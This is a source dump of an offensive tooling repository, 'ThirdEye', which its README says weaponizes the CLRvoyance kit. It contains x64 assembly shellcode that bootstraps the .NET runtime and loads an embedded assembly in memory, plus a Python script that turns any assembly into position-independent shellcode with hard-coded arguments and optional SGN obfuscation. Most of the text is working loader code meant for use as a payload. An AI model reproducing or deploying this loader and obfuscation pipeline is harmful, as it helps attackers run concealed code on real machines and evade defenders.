| ; setup environment, reserve stack space 8 | sub rsp, STACKSPACE + ROUND_EVEN(APIFUNCTIONCOUNT) * POINTERSIZE 9 | jmp execunet 10 | ret 11 | 12 | %include "sc-64-api-functions.asm" 13 | %include "sc-64-execunet.asm" 14 | 15 | APPDOMAIN_VALUE: 16 | db __utf16__(APPDOMAIN_NAME), 0, 0 17 | 18 | ASSEMBLY_LENGTH equ 1094795585 19 | ASSEMBLY: 20 | db 0x00 -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-64-execunet.asm: -------------------------------------------------------------------------------- 1 | %define RUNTIME_VERSION "v4.0.30319" 2 | 3 | INDEX_KERNEL32_LOADLIBRARYA equ 0 * POINTERSIZE + STACKSPACE 4 | INDEX_MSCOREE_CLRCREATEINSTANCE equ 1 * POINTERSIZE + STACKSPACE 5 | INDEX_OLEAUT32_SAFEARRAYCREATE equ 2 * POINTERSIZE + STACKSPACE 6 | INDEX_OLEAUT32_SAFEARRAYCREATEVECTOR equ 3 * POINTERSIZE + STACKSPACE 7 | INDEX_OLEAUT32_SAFEARRAYACCESSDATA equ 4 * POINTERSIZE + STACKSPACE 8 | INDEX_OLEAUT32_SAFEARRAYUNACCESSDATA equ 5 * POINTERSIZE + STACKSPACE 9 | INDEX_OLEAUT32_VARIANTINIT equ 6 * POINTERSIZE + STACKSPACE 10 | INDEX_KERNEL32_VIRTUALALLOC equ 7 * POINTERSIZE + STACKSPACE 11 | INDEX_KERNEL32_VIRTUALFREE equ 8 * POINTERSIZE + STACKSPACE 12 | INDEX_OLEAUT32_SAFEARRAYGETLBOUND equ 9 * POINTERSIZE + STACKSPACE 13 | INDEX_OLEAUT32_SAFEARRAYGETUBOUND equ 10 * POINTERSIZE + STACKSPACE 14 | 15 | APIFUNCTIONCOUNT equ 11 16 | 17 | struc SAFEARRAYBOUND 18 | .cElements resb 8 19 | .lLbound resb 8 20 | .size: 21 | endstruc 22 | 23 | LOADLIBRARYA equ 0x18 24 | CLRCREATEINSTANCE equ 0x20 25 | SAFEARRAYCREATE equ 0x28 26 | SAFEARRAYCREATEVECTOR equ 0x30 27 | SAFEARRAYACCESSDATA equ 0x38 28 | SAFEARRAYUNACCESSDATA equ 0x40 29 | VARIANTINIT equ 0x48 30 | CLRMETAHOST equ 0x50 31 | CLRRUNTIMEINFO equ 0x58 32 | CLRRUNTIMEHOST equ 0x60 33 | CORRUNTIMEHOST equ 0x68 34 | APPDOMAINTHUNK equ 0x70 35 | APPDOMAIN equ 0x78 36 | SAFEDATA equ 0x80 37 | SAFEARRAY equ 0x88 38 | PASSEMBLY equ 0x90 39 | METHODINFO equ 0x98 40 | METHODARGS equ 0x118 41 | VARIANTOBJ equ 0x128 42 | SABSAFEARRAY equ 0x138 43 | PMETHODPARAMS equ 0x150 44 | SAFEARRAYGETLBOUND equ 0x158 45 | SAFEARRAYGETUBOUND equ 0x160 46 | LUPPER equ 0x168 47 | LLOWER equ 0x170 48 | VALLOC_SIZE equ 0x300 49 | 50 | execunet: 51 | ; setup environment, reserve stack space 52 | ;sub rsp, STACKSPACE + ROUND_EVEN(APIFUNCTIONCOUNT) * POINTERSIZE 53 | 54 | ; resolve VirtualAlloc 55 | mov rsi, [gs:0x30] 56 | add rsi, 0x28 57 | LOOKUP_API KERNEL32DLL, KERNEL32_VIRTUALALLOC, rsi 58 | 59 | ; allocate memory 60 | xor rcx, rcx 61 | mov rdx, VALLOC_SIZE 62 | mov r8, 0x1000 63 | mov r9, 0x04 64 | call rax 65 | test eax,eax 66 | jz done 67 | 68 | ; store address in TEB's ArbitraryUserPointer 69 | mov rsi, [gs:0x30] 70 | mov [rsi+0x28], rax 71 | 72 | ; resolve LoadLibraryA 73 | mov rsi, [gs:0x28] 74 | add rsi, LOADLIBRARYA 75 | LOOKUP_API KERNEL32DLL, KERNEL32_LOADLIBRARYA, rsi 76 | 77 | ; load mscoree.dll 78 | lea rcx, [rel MSCOREEDLL] 79 | mov rsi, [gs:0x28] 80 | call [rsi+LOADLIBRARYA] 81 | 82 | ; resolve CLRCreateInstance 83 | mov rsi, [gs:0x28] 84 | add rsi, CLRCREATEINSTANCE 85 | LOOKUP_API MSCOREEDLL, MSCOREE_CLRCREATEINSTANCE, rsi 86 | 87 | ; load oleaut32.dll 88 | lea rcx, [rel OLEAUT32DLL] 89 | mov rsi, [gs:0x28] 90 | call [rsi+LOADLIBRARYA] 91 | 92 | ; resolve oleaut32 functions 93 | mov rsi, [gs:0x28] 94 | add rsi, SAFEARRAYCREATE 95 | LOOKUP_API OLEAUT32DLL, OLEAUT32_SAFEARRAYCREATE, rsi 96 | 97 | mov rsi, [gs:0x28] 98 | add rsi, SAFEARRAYCREATEVECTOR 99 | LOOKUP_API OLEAUT32DLL, OLEAUT32_SAFEARRAYCREATEVECTOR, rsi 100 | 101 | mov rsi, [gs:0x28] 102 | add rsi, SAFEARRAYACCESSDATA 103 | LOOKUP_API OLEAUT32DLL, OLEAUT32_SAFEARRAYACCESSDATA, rsi 104 | 105 | mov rsi, [gs:0x28] 106 | add rsi, SAFEARRAYUNACCESSDATA 107 | LOOKUP_API OLEAUT32DLL, OLEAUT32_SAFEARRAYUNACCESSDATA, rsi 108 | 109 | mov rsi, [gs:0x28] 110 | add rsi, VARIANTINIT 111 | LOOKUP_API OLEAUT32DLL, OLEAUT32_VARIANTINIT, rsi 112 | 113 | mov rsi, [gs:0x28] 114 | add rsi, SAFEARRAYGETLBOUND 115 | LOOKUP_API OLEAUT32DLL, OLEAUT32_SAFEARRAYGETLBOUND, rsi 116 | 117 | mov rsi, [gs:0x28] 118 | add rsi, SAFEARRAYGETUBOUND 119 | LOOKUP_API OLEAUT32DLL, OLEAUT32_SAFEARRAYGETUBOUND, rsi 120 | 121 | ; CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, &pCLRMetaHost) 122 | mov r8, [gs:0x28] 123 | add r8, CLRMETAHOST 124 | lea rdx, [rel IID_ICLRMetaHost] 125 | lea rcx, [rel CLSID_CLRMETAHOST] 126 | mov rsi, [gs:0x28] 127 | call [rsi+CLRCREATEINSTANCE] 128 | test eax,eax 129 | jnz done 130 | 131 | ; pCLRMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (void**)&pCLRRuntimeInfo) 132 | mov rax, [gs:0x28] 133 | add rax, CLRMETAHOST 134 | mov rax, [rax] 135 | mov rax, [rax] 136 | mov r9, [gs:0x28] 137 | add r9, CLRRUNTIMEINFO 138 | lea r8, [rel IID_ICLRRUNTIMEINFO] 139 | lea rdx, [rel RUNTIME_VERSION_VALUE] 140 | mov rcx, [gs:0x28] 141 | add rcx, CLRMETAHOST 142 | mov rcx, [rcx] 143 | call [rax+0x18] 144 | test eax,eax 145 | jnz done 146 | 147 | ; pCLRRuntimeInfo->GetInterface(CLSID_CorRuntimeHost,IID_ICorRuntimeHost, (void**)&pCorRuntimeHost) 148 | mov rax, [gs:0x28] 149 | add rax, CLRRUNTIMEINFO 150 | mov rax, [rax] 151 | mov rax, [rax] 152 | mov r9, [gs:0x28] 153 | add r9, CORRUNTIMEHOST 154 | lea r8, [rel IID_ICORRUNTIMEHOST] 155 | lea rdx, [rel CLSID_CORRUNTIMEHOST] 156 | mov rcx, [gs:0x28] 157 | add rcx, CLRRUNTIMEINFO 158 | mov rcx, [rcx] 159 | call [rax+0x48] 160 | test eax,eax 161 | jnz done 162 | 163 | ; pCorRuntimeHost->Start() 164 | mov rax, [gs:0x28] 165 | add rax, CORRUNTIMEHOST 166 | mov rax, [rax] 167 | mov rax, [rax] 168 | mov rcx, [gs:0x28] 169 | add rcx, CORRUNTIMEHOST 170 | mov rcx, [rcx] 171 | call [rax+0x50] 172 | 173 | %ifdef APPDOMAIN_NAME 174 | mov rax, [gs:0x28] 175 | add rax, CORRUNTIMEHOST 176 | mov rax, [rax] 177 | mov rax, [rax] 178 | lea rdx, [rel APPDOMAIN_VALUE] 179 | xor r8, r8 180 | mov r9, [gs:0x28] 181 | add r9, APPDOMAINTHUNK 182 | mov rcx, [gs:0x28] 183 | add rcx, CORRUNTIMEHOST 184 | mov rcx, [rcx] 185 | call [rax+0x60] 186 | test eax,eax 187 | jnz done 188 | %else 189 | ; pCorRuntimeHost->GetDefaultDomain(&pAppDomainThunk) 190 | mov rax, [gs:0x28] 191 | add rax, CORRUNTIMEHOST 192 | mov rax, [rax] 193 | mov rax, [rax] 194 | mov rdx, [gs:0x28] 195 | add rdx, APPDOMAINTHUNK 196 | mov rcx, [gs:0x28] 197 | add rcx, CORRUNTIMEHOST 198 | mov rcx, [rcx] 199 | call [rax+0x68] 200 | test eax,eax 201 | jnz done 202 | %endif 203 | 204 | ; pAppDomainThunk->QueryInterface(__uuidof(mscorlib::_AppDomain), (void**)&pAppDomain) 205 | mov rax, [gs:0x28] 206 | add rax, APPDOMAINTHUNK 207 | mov rax, [rax] 208 | mov rax, [rax] 209 | mov r8, [gs:0x28] 210 | add r8, APPDOMAIN 211 | lea rdx, [rel CLSID_APPDOMAIN] 212 | mov rcx, [gs:0x28] 213 | add rcx, APPDOMAINTHUNK 214 | mov rcx, [rcx] 215 | call [rax] 216 | test eax,eax 217 | jnz done 218 | 219 | ; safeArrayBound->cElements = ASSEMBLY_LENGTH; 220 | mov rsi, [gs:0x28] 221 | add rsi, SABSAFEARRAY 222 | mov [rsi+SAFEARRAYBOUND.cElements], dword ASSEMBLY_LENGTH 223 | 224 | ; safeArrayBound->lLbound = 0 225 | mov [rsi+SAFEARRAYBOUND.lLbound], byte 0 226 | 227 | ; pSafeArray = SafeArrayCreate(VT_UI1, 1, safeArrayBound); 228 | mov r8, [gs:0x28] 229 | add r8, SABSAFEARRAY 230 | mov edx, 1 231 | mov cx, 0x11 232 | mov rsi, [gs:0x28] 233 | call [rsi+SAFEARRAYCREATE] 234 | test eax,eax 235 | jz done 236 | mov rsi, [gs:0x28] 237 | mov [rsi+SAFEARRAY], rax 238 | 239 | ; SafeArrayAccessData(pSafeArray, &lpSafeData) 240 | mov rdx, [gs:0x28] 241 | add rdx, SAFEDATA 242 | mov rcx, [gs:0x28] 243 | add rcx, SAFEARRAY 244 | mov rcx, [rcx] 245 | mov rsi, [gs:0x28] 246 | call [rsi + SAFEARRAYACCESSDATA] 247 | test eax,eax 248 | jnz done 249 | 250 | ; memcpy(lpSafeData, ASSEMBLY, ASSEMBLY_LENGTH) 251 | mov rax, [gs:0x28] 252 | mov rdi, rax 253 | add rdi, SAFEDATA 254 | mov rdi, [rdi] 255 | lea rsi, [rel ASSEMBLY] 256 | mov rcx, dword ASSEMBLY_LENGTH 257 | rep movsb 258 | 259 | ; SafeArrayUnaccessData(pSafeArray) 260 | mov rcx, [gs:0x28] 261 | add rcx, SAFEARRAY 262 | mov rcx, [rcx] 263 | mov rdi, [gs:0x28] 264 | call [rdi + SAFEARRAYUNACCESSDATA] 265 | test eax,eax 266 | jnz done 267 | 268 | ; pAppDomain->Load_3(pSafeArray, &pAssembly) 269 | mov rax, [gs:0x28] 270 | add rax, APPDOMAIN 271 | mov rax, [rax] 272 | mov rax, [rax] 273 | mov r8, [gs:0x28] 274 | add r8, PASSEMBLY 275 | mov rdx, [gs:0x28] 276 | add rdx, SAFEARRAY 277 | mov rdx, [rdx] 278 | mov rcx, [gs:0x28] 279 | add rcx, APPDOMAIN 280 | mov rcx, [rcx] 281 | call [rax+0x168] 282 | test eax,eax 283 | jnz done 284 | 285 | ; pAssembly->get_EntryPoint(&mMethodInfo) 286 | mov rax, [gs:0x28] 287 | add rax, PASSEMBLY 288 | mov rax, [rax] 289 | mov rax, [rax] 290 | mov rdx, [gs:0x28] 291 | add rdx, METHODINFO 292 | mov rcx, [gs:0x28] 293 | add rcx, PASSEMBLY 294 | mov rcx, [rcx] 295 | call [rax+0x80] 296 | test eax,eax 297 | jnz done 298 | 299 | ; mMethodInfo->GetParameters(&pMethodParams) 300 | mov rax, [gs:0x28] 301 | add rax, METHODINFO 302 | mov rax, [rax] 303 | mov rax, [rax] 304 | mov rdx, [gs:0x28] 305 | add rdx, PMETHODPARAMS 306 | mov rcx, [gs:0x28] 307 | add rcx, METHODINFO 308 | mov rcx, [rcx] 309 | call [rax+0x90] 310 | test eax,eax 311 | jnz done 312 | 313 | ;SafeArrayGetLBound(pMethodParams, 1, &lLower); 314 | mov r8, [gs:0x28] 315 | add r8, LLOWER 316 | mov rdx, 1 317 | mov rcx, [gs:0x28] 318 | add rcx, PMETHODPARAMS 319 | mov rcx, [rcx] 320 | mov rdi, [gs:0x28] 321 | call [rdi+SAFEARRAYGETLBOUND] 322 | test eax,eax 323 | jnz done 324 | 325 | ;SafeArrayGetUBound(pMethodParams, 1, &lUpper); 326 | mov r8, [gs:0x28] 327 | add r8, LUPPER 328 | mov rdx, 1 329 | mov rcx, [gs:0x28] 330 | add rcx, PMETHODPARAMS 331 | mov rcx, [rcx] 332 | mov rdi, [gs:0x28] 333 | call [rdi+SAFEARRAYGETUBOUND] 334 | test eax,eax 335 | jnz done 336 | 337 | ;lArgs = (lUpper - lLower) + 1; 338 | ;support Main() and Main(string[] args) 339 | mov rax, [gs:0x28] 340 | add rax, LUPPER 341 | mov rax, [rax] 342 | mov rbx, [gs:0x28] 343 | add rbx, LLOWER 344 | mov rbx, [rbx] 345 | sub eax, ebx 346 | add eax, 1 347 | cmp eax,1 348 | jg done 349 | 350 | ; pMethodArgs = _SafeArrayCreateVector(VT_VARIANT, 0, lArgs); 351 | mov r8, rax 352 | xor rdx,rdx 353 | mov rcx, 0x0c 354 | mov rsi, [gs:0x28] 355 | call [rsi+SAFEARRAYCREATEVECTOR] 356 | test eax,eax 357 | jz done 358 | mov rdx, [gs:0x28] 359 | mov [rdx+METHODARGS], rax 360 | 361 | ; VariantInit(&obj) 362 | mov rcx, [gs:0x28] 363 | add rcx, VARIANTOBJ 364 | mov rdi, [gs:0x28] 365 | call [rdi + VARIANTINIT] 366 | 367 | ; mMethodInfo->Invoke_3(obj, pMethodArgs, NULL); 368 | mov rax, [gs:0x28] 369 | add rax, METHODINFO 370 | mov rax, [rax] 371 | mov rax, [rax] 372 | xor r9, r9 373 | mov r8, [gs:0x28] 374 | add r8, METHODARGS 375 | mov r8, [r8] 376 | mov rdx, [gs:0x28] 377 | add rdx, VARIANTOBJ 378 | mov rcx, [gs:0x28] 379 | add rcx, METHODINFO 380 | mov rcx, [rcx] 381 | call [rax+0x128] 382 | 383 | ; resolve VirtualFree and free memory 384 | mov rsi, [gs:0x28] 385 | push rsi 386 | LOOKUP_API KERNEL32DLL, KERNEL32_VIRTUALFREE, rsi 387 | 388 | pop rcx 389 | mov rdx, VALLOC_SIZE 390 | mov r8, 0x4000 391 | call rax 392 | 393 | add rsp, STACKSPACE + ROUND_EVEN(APIFUNCTIONCOUNT) * POINTERSIZE 394 | ret 395 | 396 | done: 397 | add rsp, STACKSPACE + ROUND_EVEN(APIFUNCTIONCOUNT) * POINTERSIZE 398 | ret 399 | 400 | CLSID_CLRMETAHOST: 401 | db 0x8d,0x18,0x80,0x92,0x8e,0x0e,0x67,0x48,0xb3,0x0c,0x7f,0xa8,0x38,0x84,0xe8,0xde 402 | IID_ICLRMetaHost: 403 | db 0x9e,0xdb,0x32,0xd3,0xb3,0xb9,0x25,0x41,0x82,0x07,0xa1,0x48,0x84,0xf5,0x32,0x16 404 | IID_ICLRRUNTIMEINFO: 405 | db 0xd2,0xd1,0x39,0xbd,0x2f,0xba,0x6a,0x48,0x89,0xb0,0xb4,0xb0,0xcb,0x46,0x68,0x91 406 | IID_ICORRUNTIMEHOST: 407 | db 0x22,0x67,0x2f,0xcb,0x3a,0xab,0xd2,0x11,0x9c,0x40,0x00,0xc0,0x4f,0xa3,0x0a,0x3e 408 | CLSID_CORRUNTIMEHOST: 409 | db 0x23,0x67,0x2f,0xcb,0x3a,0xab,0xd2,0x11,0x9c,0x40,0x00,0xc0,0x4f,0xa3,0x0a,0x3e 410 | CLSID_APPDOMAIN: 411 | db 0xdc,0x96,0xf6,0x05,0x29,0x2b,0x63,0x36,0xad,0x8b,0xc4,0x38,0x9c,0xf2,0xa7,0x13 412 | 413 | RUNTIME_VERSION_VALUE: 414 | db __utf16__(RUNTIME_VERSION), 0, 0 415 | 416 | sabSafeArray: RESB SAFEARRAYBOUND.size 417 | 418 | KERNEL32DLL db "KERNEL32.DLL", 0 419 | KERNEL32_LOADLIBRARYA db "LoadLibraryA", 0 420 | KERNEL32_VIRTUALALLOC db "VirtualAlloc", 0 421 | KERNEL32_VIRTUALFREE db "VirtualFree", 0 422 | 423 | MSCOREEDLL db "MSCOREE.DLL", 0 424 | MSCOREE_CLRCREATEINSTANCE db "CLRCreateInstance", 0 425 | 426 | OLEAUT32DLL db "OLEAUT32.DLL", 0 427 | OLEAUT32_SAFEARRAYCREATE db "SafeArrayCreate", 0 428 | OLEAUT32_SAFEARRAYCREATEVECTOR db "SafeArrayCreateVector", 0 429 | OLEAUT32_SAFEARRAYACCESSDATA db "SafeArrayAccessData", 0 430 | OLEAUT32_SAFEARRAYUNACCESSDATA db "SafeArrayUnaccessData", 0 431 | OLEAUT32_SAFEARRAYGETLBOUND db "SafeArrayGetLBound", 0 432 | OLEAUT32_SAFEARRAYGETUBOUND db "SafeArrayGetUBound", 0 433 | OLEAUT32_VARIANTINIT db "VariantInit", 0 -------------------------------------------------------------------------------- /CLRvoyance/CLRvoyance/sc-64-macros.asm: -------------------------------------------------------------------------------- 1 | ; x64 shellcode macros to lookup API functions 2 | ; Written for NASM assembler (http://www.nasm.us) by Didier Stevens 3 | ; Source code put in public domain by Didier Stevens, no Copyright 4 | ; https://DidierStevens.com 5 | ; Use at your own risk 6 | ; 7 | ; History: 8 | ; 2011/12/27: Refactored API functions to this include file 9 | 10 | BITS 64 11 | 12 | STACKSPACE equ 0x28 13 | POINTERSIZE equ 0x08 14 | 15 | ;macro to round up number to the next even number 16 | %define ROUND_EVEN(x) (x + x % 2) 17 | 18 | %macro LOOKUP_API 3 19 | mov r8, %3 20 | lea rdx, [rel %2] 21 | lea rcx, [rel %1] 22 | call lookup_api 23 | %endmacro 24 | 25 | ; lookup_api for RWX shellcode 26 | %macro LOOKUP_API_RWX 3 27 | lea r8, [rsp + %3] 28 | lea rdx, [rel %2] 29 | lea rcx, [rel %1] 30 | call lookup_api 31 | %endmacro 32 | 33 | %macro LOOKUP_API 4 34 | mov r9, [rsp + %4] 35 | lea r8, [rsp + %3] 36 | lea rdx, [rel %2] 37 | lea rcx, [rel %1] 38 | call lookup_api 39 | %endmacro -------------------------------------------------------------------------------- /CLRvoyance/README.md: -------------------------------------------------------------------------------- 1 | # CLRvoyance 2 | 3 | CLRvoyance is a shellcode kit that supports bootstrapping managed assemblies into unmanaged (or managed) processes. It provides three different implementations of position independent shellcode for CLR hosting, as well as a generator script for quickly embedding a managed assembly in position independent shellcode. 4 | 5 | Please see the release blogpost [here](https://www.accenture.com/us-en/blogs/cyber-defense/clrvoyance-loading-managed-code-into-unmanaged-processes) for technical information. 6 | 7 | # Usage 8 | 9 | ``` 10 | $ py clrvoyance.py -h 11 | usage: clrvoyance.py [-h] -a [executable] [-p [32|64]] [-d [net|c]] [-n] [--apc] 12 | 13 | optional arguments: 14 | -h, --help show this help message and exit 15 | -a [executable] Assembly 16 | -p [32|64] Platform 17 | -d [net|c] Dump binary shellcode of assembly 18 | -n Load assembly into a new domain 19 | --apc Use safe APC shellcode 20 | ``` 21 | 22 | CLRvoyance requires Python 3.6+ to generate embedded payloads. Using our included ExampleAssembly, we can generate 32-bit raw shellcode using the following: 23 | 24 | ``` 25 | $ py clrvoyance.py -a ExampleAssembly.exe -p 32 26 | [+] 4608 byte assembly 27 | [+] 1381 byte bootstrap 28 | [+] 5988 byte shellcode written out (c:\users\bja\Desktop\project\clrvoyance\ExampleAssembly\ExampleAssembly\bin\Debug\ExampleAssembly.exe.shellcode) 29 | ``` 30 | 31 | `ExampleAssembly.exe.shellcode` can then be used as your shellcode payload. 32 | 33 | If we want to view the shellcode for programmatic consumption, the `-d` flag can be used: 34 | 35 | ``` 36 | $ py clrvoyance.py -a ExampleAssembly.exe.shellcode -p 32 -d net 37 | byte[] shellcode={ 38 | 0xe8,0x00,0x00,0x00,0x00,0x5b,0x68,0x42,0x31,0x0e,0x00,0x68,0x88,0x4e,0x0d,0x00, 39 | 0xe8,0x23,0x04,0x00,0x00,0x6a,0x04,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x03,0x00, 40 | 0x00,0x6a,0x00,0xff,0xd0,0x85,0xc0,0x0f,0x84,0x46,0x03,0x00,0x00,0x64,0x8b,0x35, 41 | 0x18,0x00,0x00,0x00,0x89,0x46,0x14,0x68,0x86,0x57,0x0d,0x00,0x68,0x88,0x4e,0x0d, 42 | 0x00,0xe8,0xf2,0x03,0x00,0x00,0x64,0x8b,0x35,0x14,0x00,0x00,0x00,0x83,0xc6,0x38, 43 | ...snip... 44 | ``` 45 | 46 | The provided assemblies were compiled using nasm 2.14. If you modify the shellcode, please ensure you update offsets in `clrvoyance.py`. 47 | 48 | # Code 49 | 50 | The project is broken up into multiple files described below: 51 | 52 | ``` 53 | clrvoyance.py - Generator script 54 | sc-*-clr.asm - Primary CLR loader; RX page support 55 | sc-*-clr-apc.asm - APC CLR loader 56 | sc-*-clr-rwx.asm - RWX version of CLR loader 57 | sc-*-clrnd.asm - CLR loader with new domain 58 | sc-*-clrnd-apc.asm - APC CLR loader with new domain 59 | sc-*-api-functions - Helper functions 60 | sc-32-jscript.asm - Executes JScript instead of an assembly 61 | sc-64-macros.asm - 64-bit helper macros 62 | ``` -------------------------------------------------------------------------------- /ConvertTo-Base64.ps1: -------------------------------------------------------------------------------- 1 | [Convert]::ToBase64String([IO.File]::ReadAllBytes("$($args[0])")) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ThirdEye 2 | Weaponizing [CLRvoyance](https://github.com/Accenture/CLRvoyance) by adding the following features: 3 | * Pass arguments to the target .NET assembly 4 | * Obfuscate shellcode with [SGN](https://github.com/EgeBalci/sgn) 5 | 6 | All the credit for this script goes to the Accenture team for their great tool. This repo also includes [DonutTest](https://github.com/TheWover/donut/tree/master/DonutTest) for testing output shellcode. 7 | 8 | ## Usage 9 | * python3 thirdeye.py PATH_TO_ASSEMBLY 10 | 11 | ## Components 12 | * [CLRvoyance](https://github.com/Accenture/CLRvoyance) - Generates PIC shellcode, created by Accenture 13 | * wrapper - .NET assembly wrapper, hardcodes arguments 14 | * thirdeye.py - Sets up wrapper and generates shellcode with CLRvoyanace 15 | 16 | ## Requirements 17 | * Only works on Windows currently, should be easy enough to port 18 | * MSBuild and Python 3.X must be present on the system 19 | -------------------------------------------------------------------------------- /deps/keystone.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyleavery/ThirdEye/0add1545129d3aafda1560028b57445a3d4ba7e9/deps/keystone.dll -------------------------------------------------------------------------------- /deps/sgn.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyleavery/ThirdEye/0add1545129d3aafda1560028b57445a3d4ba7e9/deps/sgn.exe -------------------------------------------------------------------------------- /thirdeye.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | import shutil 4 | 5 | import CLRvoyance.CLRvoyance.clrvoyance as clrvoyance 6 | 7 | class CLRvoyanceArgs(): 8 | assembly = '' 9 | platform = '' 10 | dump = '' 11 | new_domain = '' 12 | apc = '' 13 | 14 | def __init__(self, assembly, platform, new_domain, apc): 15 | self.assembly = assembly 16 | self.platform = platform 17 | self.new_domain = new_domain 18 | self.apc = apc 19 | 20 | def ReplaceString(stringa, stringb): 21 | file = open(wrapperSrc, "rt") 22 | data = file.read() 23 | data = data.replace(stringa, stringb) 24 | file.close() 25 | file = open(wrapperSrc, "wt") 26 | file.write(data) 27 | file.close() 28 | 29 | # Parse Arguments 30 | parser = argparse.ArgumentParser() 31 | parser.add_argument('assembly', help='Target .NET assembly', metavar='path') 32 | parser.add_argument('-a', '--architecture', metavar='[32|64]', default='64') 33 | parser.add_argument('-e', '--encode', help='Encode with SGN', action='store_true', default=False, required=False) 34 | parser.add_argument('-n', '--newdomain', help='Load assembly into a new domain', action='store_true', default=False, required=False) 35 | parser.add_argument('-o', '--outfile', help='Default ./out.bin', default='./out.bin', required=False) 36 | parser.add_argument('-p', '--parameters', help='Parameters to pass to provided .NET assembly. Example: -p=\'-group=remote -computername=ws01.corp.local\'', default=' ', required=False) 37 | parser.add_argument('-s', '--safe', help='Use safe APC shellcode', action='store_true', default=False, required=False) 38 | args = parser.parse_args() 39 | 40 | # Setup 41 | buildCommand = 'msbuild wrapper/wrapper -p:TargetFrameworkVersion=v4.5 -p:Configuration="Release" -p:Platform="{}" /verbosity:quiet'.format('x64' if args.architecture == '64' else 'x86') 42 | print(buildCommand) 43 | wrapperSrc = os.path.abspath('wrapper/wrapper/Program.cs') 44 | wrapperAsm = os.path.abspath('wrapper/wrapper/bin/{0}/Release/wrapper.exe'.format('x64' if args.architecture == '64' else 'x86')) 45 | targetAsm = os.path.abspath('wrapper/wrapper/assembly.exe') 46 | 47 | # Copy Files 48 | print(args) 49 | shutil.copyfile(args.assembly, targetAsm) 50 | 51 | # Replace Parameters 52 | replaceVal = '' 53 | params = args.parameters.split(' ') 54 | for i in range(len(params)): 55 | if(i != len(params)-1): 56 | replaceVal += '"'+params[i]+'",' 57 | else: 58 | replaceVal += '"'+params[i]+'"' 59 | ReplaceString('/*REPLACEME*/', replaceVal) 60 | 61 | # Build 62 | os.system(buildCommand) 63 | 64 | # CLRvoyance 65 | os.chdir('CLRvoyance/CLRvoyance') 66 | cvArgs = CLRvoyanceArgs(wrapperAsm, args.architecture, args.newdomain, args.safe) 67 | clrvoyance.run(cvArgs) 68 | 69 | # Cleanup 70 | ReplaceString(replaceVal, '/*REPLACEME*/') 71 | os.remove(targetAsm) 72 | os.chdir('../../') 73 | 74 | # SGN Encoding 75 | if(args.encode): 76 | print('Encoding with SGN, RWX memory required for initial shellcode execution') 77 | 78 | os.system('{0} -a {1} -plain-decoder {2}'.format(os.path.abspath('deps/sgn.exe'), args.architecture, wrapperAsm+'.shellcode')) 79 | os.remove(wrapperAsm+'.shellcode') 80 | shutil.move(wrapperAsm+'.shellcode.sgn', args.outfile) 81 | else: 82 | print('No encoding, no RWX memory') 83 | shutil.move(wrapperAsm+'.shellcode', args.outfile) 84 | 85 | print('Final payload written to {0}'.format(args.outfile)) 86 | -------------------------------------------------------------------------------- /wrapper/DonutTest/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /wrapper/DonutTest/DonutTest.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846} 8 | Exe 9 | DonutTest 10 | DonutTest 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | x64 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | false 27 | 28 | 29 | x64 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | 38 | 39 | true 40 | bin\x86\Debug\ 41 | DEBUG;TRACE 42 | full 43 | x86 44 | 7.3 45 | prompt 46 | MinimumRecommendedRules.ruleset 47 | true 48 | 49 | 50 | bin\x86\Release\ 51 | TRACE 52 | true 53 | pdbonly 54 | x86 55 | 7.3 56 | prompt 57 | MinimumRecommendedRules.ruleset 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /wrapper/DonutTest/DonutTest.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DonutTest", "DonutTest.csproj", "{3C9A6B88-BED2-4BA8-964C-77EC29BF1846}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DemoCreateProcess", "..\DemoCreateProcess\DemoCreateProcess.csproj", "{4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | 